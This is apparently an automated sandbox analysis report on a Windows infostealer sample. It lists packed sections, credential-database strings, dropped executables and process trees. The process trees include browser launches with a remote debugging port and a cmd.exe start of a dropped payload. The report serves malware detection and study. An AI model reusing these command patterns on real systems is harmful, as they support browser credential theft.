Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D46D0	0_2_6C5D46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630700	0_2_6C630700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DA7D0	0_2_6C5DA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FE070	0_2_6C5FE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C000	0_2_6C67C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678010	0_2_6C678010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A8090	0_2_6C5A8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68C0B0	0_2_6C68C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C00B0	0_2_6C5C00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618140	0_2_6C618140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626130	0_2_6C626130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694130	0_2_6C694130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B01E0	0_2_6C5B01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638260	0_2_6C638260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648250	0_2_6C648250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688220	0_2_6C688220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A210	0_2_6C67A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7362C0	0_2_6C7362C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6822A0	0_2_6C6822A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E2B0	0_2_6C67E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC360	0_2_6C6CC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646370	0_2_6C646370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8340	0_2_6C5B8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F2370	0_2_6C6F2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B2370	0_2_6C5B2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622320	0_2_6C622320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6043E0	0_2_6C6043E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E3B0	0_2_6C60E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E23A0	0_2_6C5E23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B3C40	0_2_6C5B3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D9C40	0_2_6C6D9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1C30	0_2_6C5C1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671CE0	0_2_6C671CE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A5E530	25_2_00A5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A978BB	25_2_00A978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A98860	25_2_00A98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A97049	25_2_00A97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A931A8	25_2_00A931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A54DE0	25_2_00A54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A92D10	25_2_00A92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A9779B	25_2_00A9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A54B30	25_2_00A54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A87F36	25_2_00A87F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5D3620 appears 59 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C73DAE0 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5D9B10 appears 67 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7309D0 appears 241 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C53CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5494D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C73D930 appears 42 times

Source: file.exe, 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2626975444.000000006C592000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2620944238.00000000236E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2620944238.00000000236E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: cfbfwmdt ZLIB complexity 0.9950859893007836
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.998052196866485
Source: random[1].exe.0.dr	Static PE information: Section: udcljtek ZLIB complexity 0.9945437373913718
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998052196866485
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: Section: udcljtek ZLIB complexity 0.9945437373913718
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.998052196866485
Source: skotes.exe.21.dr	Static PE information: Section: udcljtek ZLIB complexity 0.9945437373913718

Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.21.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/300@20/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C567030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C567030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\B2RIHQ7U.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8752:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\edd194f2-820e-4972-85e8-c4edd0551f20.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2362888542.000000001D45D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2265718335.000000001D469000.00000004.00000020.00020000.00000000.sdmp, EBGDHJECFCFCAKFHCFID.0.dr, IDAAKEHJDHJKEBFHJEGD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2626351811.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2613410528.000000001D566000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsDBGIJEHIID.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 --field-trial-handle=2388,i,17089066467111702127,3519208974984720801,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2224,i,13681611062045776192,15171286190731383131,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6484 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6624 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBGIJEHIID.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBGIJEHIID.exe "C:\Users\user\DocumentsDBGIJEHIID.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6740 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBGIJEHIID.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 --field-trial-handle=2388,i,17089066467111702127,3519208974984720801,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2224,i,13681611062045776192,15171286190731383131,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6484 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6624 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\DocumentsDBGIJEHIID.exe "C:\Users\user\DocumentsDBGIJEHIID.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6740 --field-trial-handle=2488,i,14213947528394681601,11574082288306542738,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBGIJEHIID.exe "C:\Users\user\DocumentsDBGIJEHIID.exe"
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
